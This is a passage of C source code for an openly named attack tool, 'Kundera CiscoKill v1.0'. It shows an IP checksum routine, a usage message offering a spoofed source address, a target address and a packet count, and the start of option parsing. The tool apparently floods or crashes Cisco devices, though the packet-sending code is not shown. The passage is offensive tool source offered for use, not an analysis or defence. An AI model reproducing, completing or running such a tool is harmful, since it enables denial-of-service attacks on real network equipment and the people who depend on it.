/* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */
sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; }
/* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; }
/* * Add back carry outs from top 16 bits to low 16 bits. */
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); }
void usage (void) { printf("Kundera CiscoKill v1.0\n"); printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target \n"); }
int main(int argc,char **argv){
if (argc < 2){ usage(); exit(1); }
while((c=getopt(argc,argv,"s:t:n:"))!=EOF){ switch(c) { case 's': source=optarg; break; case 'n': p_number=atoi(optarg); break; case 't': target=optarg; } }